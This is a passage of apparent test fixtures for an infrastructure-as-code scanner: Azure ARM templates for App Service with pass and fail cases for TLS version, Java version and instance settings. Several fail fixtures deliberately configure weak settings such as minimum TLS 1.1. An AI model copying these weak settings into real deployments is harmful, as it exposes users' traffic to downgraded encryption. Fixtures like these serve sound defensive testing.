\"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"1.1\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": false,\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceInstanceMinimum/unknown2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"webAppPortalName\": \"[concat(parameters('webAppName'), '-webapp')]\",\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/sites/slots\",\n      \"apiVersion\": \"2022-09-01\",\n      \"name\": \"unknown2\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"kind\": \"string\",\n      \"extendedLocation\": {\n        \"name\": \"string\"\n      },\n      \"identity\": {\n        \"type\": \"string\",\n        \"userAssignedIdentities\": {}\n      },\n      \"properties\": {\n        \"clientAffinityEnabled\": \"bool\",\n        \"clientCertEnabled\": \"bool\",\n        \"clientCertExclusionPaths\": \"string\",\n        \"clientCertMode\": \"string\",\n        \"cloningInfo\": {\n          \"appSettingsOverrides\": {},\n          \"cloneCustomHostNames\": \"bool\",\n          \"cloneSourceControl\": \"bool\",\n          \"configureLoadBalancing\": \"bool\",\n          \"correlationId\": \"string\",\n          \"hostingEnvironment\": \"string\",\n          \"overwrite\": \"bool\",\n          \"sourceWebAppId\": \"string\",\n          \"sourceWebAppLocation\": \"string\",\n          \"trafficManagerProfileId\": \"string\",\n          \"trafficManagerProfileName\": \"string\"\n        },\n        \"containerSize\": \"int\",\n        \"customDomainVerificationId\": \"string\",\n        \"dailyMemoryTimeQuota\": \"int\",\n        \"enabled\": \"bool\",\n        \"hostingEnvironmentProfile\": {\n          \"id\": \"string\"\n        },\n        \"hostNamesDisabled\": \"bool\",\n        \"hostNameSslStates\": [\n          {\n            \"hostType\": \"string\",\n            \"name\": \"string\",\n            \"sslState\": \"string\",\n            \"thumbprint\": \"string\",\n            \"toUpdate\": \"bool\",\n            \"virtualIP\": \"string\"\n          }\n        ],\n        \"httpsOnly\": \"bool\",\n        \"hyperV\": \"bool\",\n        \"isXenon\": \"bool\",\n        \"keyVaultReferenceIdentity\": \"string\",\n        \"managedEnvironmentId\": \"string\",\n        \"publicNetworkAccess\": \"string\",\n        \"redundancyMode\": \"string\",\n        \"reserved\": \"bool\",\n        \"scmSiteAlsoStopped\": \"bool\",\n        \"serverFarmId\": \"string\",\n        \"siteConfig\": {\n          \"acrUseManagedIdentityCreds\": \"bool\",\n          \"acrUserManagedIdentityID\": \"string\",\n          \"alwaysOn\": \"bool\",\n          \"apiDefinition\": {\n            \"url\": \"string\"\n          },\n          \"apiManagementConfig\": {\n            \"id\": \"string\"\n          },\n          \"appCommandLine\": \"string\",\n          \"appSettings\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"autoHealEnabled\": \"bool\",\n          \"autoHealRules\": {\n            \"actions\": {\n              \"actionType\": \"string\",\n              \"customAction\": {\n                \"exe\": \"string\",\n                \"parameters\": \"string\"\n              },\n              \"minProcessExecutionTime\": \"string\"\n            },\n            \"triggers\": {\n              \"privateBytesInKB\": \"int\",\n              \"requests\": {\n                \"count\": \"int\",\n                \"timeInterval\": \"string\"\n              },\n              \"slowRequests\": {\n                \"count\": \"int\",\n                \"path\": \"string\",\n                \"timeInterval\": \"string\",\n                \"timeTaken\": \"string\"\n              },\n              \"slowRequestsWithPath\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"timeInterval\": \"string\",\n                  \"timeTaken\": \"string\"\n                }\n              ],\n              \"statusCodes\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"status\": \"int\",\n                  \"subStatus\": \"int\",\n                  \"timeInterval\": \"string\",\n                  \"win32Status\": \"int\"\n                }\n              ],\n              \"statusCodesRange\": [\n                {\n                  \"count\": \"int\",\n                  \"path\": \"string\",\n                  \"statusCodes\": \"string\",\n                  \"timeInterval\": \"string\"\n                }\n              ]\n            }\n          },\n          \"autoSwapSlotName\": \"string\",\n          \"azureStorageAccounts\": {},\n          \"connectionStrings\": [\n            {\n              \"connectionString\": \"string\",\n              \"name\": \"string\",\n              \"type\": \"string\"\n            }\n          ],\n          \"cors\": {\n            \"allowedOrigins\": [\n              \"string\"\n            ],\n            \"supportCredentials\": \"bool\"\n          },\n          \"defaultDocuments\": [\n            \"string\"\n          ],\n          \"detailedErrorLoggingEnabled\": \"bool\",\n          \"documentRoot\": \"string\",\n          \"elasticWebAppScaleLimit\": \"int\",\n          \"experiments\": {\n            \"rampUpRules\": [\n              {\n                \"actionHostName\": \"string\",\n                \"changeDecisionCallbackUrl\": \"string\",\n                \"changeIntervalInMinutes\": \"int\",\n                \"changeStep\": \"int\",\n                \"maxReroutePercentage\": \"int\",\n                \"minReroutePercentage\": \"int\",\n                \"name\": \"string\",\n                \"reroutePercentage\": \"int\"\n              }\n            ]\n          },\n          \"ftpsState\": \"string\",\n          \"functionAppScaleLimit\": \"int\",\n          \"functionsRuntimeScaleMonitoringEnabled\": \"bool\",\n          \"handlerMappings\": [\n            {\n              \"arguments\": \"string\",\n              \"extension\": \"string\",\n              \"scriptProcessor\": \"string\"\n            }\n          ],\n          \"healthCheckPath\": \"string\",\n          \"http20Enabled\": \"bool\",\n          \"httpLoggingEnabled\": \"bool\",\n          \"ipSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"ipSecurityRestrictionsDefaultAction\": \"string\",\n          \"javaContainer\": \"string\",\n          \"javaContainerVersion\": \"string\",\n          \"javaVersion\": \"string\",\n          \"keyVaultReferenceIdentity\": \"string\",\n          \"limits\": {\n            \"maxDiskSizeInMb\": \"int\",\n            \"maxMemoryInMb\": \"int\",\n            \"maxPercentageCpu\": \"int\"\n          },\n          \"linuxFxVersion\": \"string\",\n          \"loadBalancing\": \"string\",\n          \"localMySqlEnabled\": \"bool\",\n          \"logsDirectorySizeLimit\": \"int\",\n          \"managedPipelineMode\": \"string\",\n          \"managedServiceIdentityId\": \"int\",\n          \"metadata\": [\n            {\n              \"name\": \"string\",\n              \"value\": \"string\"\n            }\n          ],\n          \"minimumElasticInstanceCount\": \"int\",\n          \"minTlsVersion\": \"1.1\",\n          \"netFrameworkVersion\": \"string\",\n          \"nodeVersion\": \"string\",\n          \"numberOfWorkers\": true,\n          \"phpVersion\": \"string\",\n          \"powerShellVersion\": \"string\",\n          \"preWarmedInstanceCount\": \"int\",\n          \"publicNetworkAccess\": \"string\",\n          \"publishingUsername\": \"string\",\n          \"push\": {\n            \"kind\": \"string\",\n            \"properties\": {\n              \"dynamicTagsJson\": \"string\",\n              \"isPushEnabled\": \"bool\",\n              \"tagsRequiringAuth\": \"string\",\n              \"tagWhitelistJson\": \"string\"\n            }\n          },\n          \"pythonVersion\": \"string\",\n          \"remoteDebuggingEnabled\": \"bool\",\n          \"remoteDebuggingVersion\": \"string\",\n          \"requestTracingEnabled\": \"bool\",\n          \"requestTracingExpirationTime\": \"string\",\n          \"scmIpSecurityRestrictions\": [\n            {\n              \"action\": \"string\",\n              \"description\": \"string\",\n              \"headers\": {},\n              \"ipAddress\": \"string\",\n              \"name\": \"string\",\n              \"priority\": \"int\",\n              \"subnetMask\": \"string\",\n              \"subnetTrafficTag\": \"int\",\n              \"tag\": \"string\",\n              \"vnetSubnetResourceId\": \"string\",\n              \"vnetTrafficTag\": \"int\"\n            }\n          ],\n          \"scmIpSecurityRestrictionsDefaultAction\": \"string\",\n          \"scmIpSecurityRestrictionsUseMain\": \"bool\",\n          \"scmMinTlsVersion\": \"string\",\n          \"scmType\": \"string\",\n          \"tracingOptions\": \"string\",\n          \"use32BitWorkerProcess\": \"bool\",\n          \"virtualApplications\": [\n            {\n              \"physicalPath\": \"string\",\n              \"preloadEnabled\": \"bool\",\n              \"virtualDirectories\": [\n                {\n                  \"physicalPath\": \"string\",\n                  \"virtualPath\": \"string\"\n                }\n              ],\n              \"virtualPath\": \"string\"\n            }\n          ],\n          \"vnetName\": \"string\",\n          \"vnetPrivatePortsCount\": \"int\",\n          \"vnetRouteAllEnabled\": \"bool\",\n          \"websiteTimeZone\": \"string\",\n          \"webSocketsEnabled\": \"bool\",\n          \"windowsFxVersion\": \"string\",\n          \"xManagedServiceIdentityId\": \"int\"\n        },\n        \"storageAccountRequired\": \"bool\",\n        \"virtualNetworkSubnetId\": \"string\",\n        \"vnetContentShareEnabled\": \"bool\",\n        \"vnetImagePullEnabled\": \"bool\",\n        \"vnetRouteAllEnabled\": \"bool\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceJavaVersion/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"fail\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\"\n            },\n            \"siteConfig\": {\n                \"javaVersion\": \"13\"\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceJavaVersion/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Web/sites\",\n            \"apiVersion\": \"2021-02-01\",\n            \"name\": \"pass\",\n            \"properties\": {\n                \"publisherEmail\": \"[parameters('adminEmail')]\",\n                \"publisherName\": \"[parameters('organizationName')]\",\n                \"customProperties\": \"[parameters('customProperties')]\"\n            },\n            \"siteConfig\": {\n                \"javaVersion\": \"17\"\n            },\n            \"resources\": [],\n            \"dependsOn\": []\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"default\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\"\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-FAILED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"tls-11\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": false,\n          \"minTlsVersion\": \"1.1\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-FAILED3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"null\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": null\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"tls-12\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.2\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServiceMinTLSVersion/appServiceMinTLSVersion-PASSED2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"webAppName\": {\n      \"type\": \"string\",\n      \"defaultValue\" : \"AzureLinuxApp2\",\n      \"metadata\": {\n        \"description\": \"Base name of the resource such as web app name and app service plan \"\n      },\n      \"minLength\": 2\n    },\n    \"sku\":{\n      \"type\": \"string\",\n      \"defaultValue\" : \"S1\",\n      \"metadata\": {\n        \"description\": \"The SKU of App Service Plan \"\n      }\n    },\n    \"linuxFxVersion\" : {\n      \"type\": \"string\",\n      \"defaultValue\" : \"php|7.0\",\n      \"metadata\": {\n        \"description\": \"The Runtime stack of current web app\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"appServicePlanName\": \"[concat('AppServicePlan-', parameters('webAppName'))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Web/serverfarms\",\n      \"apiVersion\": \"2018-02-01\",\n      \"name\": \"[variables('appServicePlanName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"sku\": {\n        \"name\": \"[parameters('sku')]\"\n      },\n      \"kind\": \"linux\",\n      \"properties\":{\n        \"reserved\":true\n      }\n    },\n    {\n      \"type\": \"Microsoft.Web/sites\",\n      \"apiVersion\": \"2018-11-01\",\n      \"name\": \"tls-13\",\n      \"location\": \"[parameters('location')]\",\n      \"kind\": \"app\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\"\n      ],\n      \"identity\": {\n        \"type\": \"SystemAssigned\"\n      },\n      \"properties\": {\n        \"serverFarmId\": \"[resourceId('Microsoft.Web/serverfarms', variables('appServicePlanName'))]\",\n        \"siteConfig\": {\n          \"linuxFxVersion\": \"[parameters('linuxFxVersion')]\",\n          \"http20Enabled\": \"true\",\n          \"minTlsVersion\": \"1.3\"\n        },\n        \"clientCertEnabled\": true\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AppServicePHPVersion/fail.json",
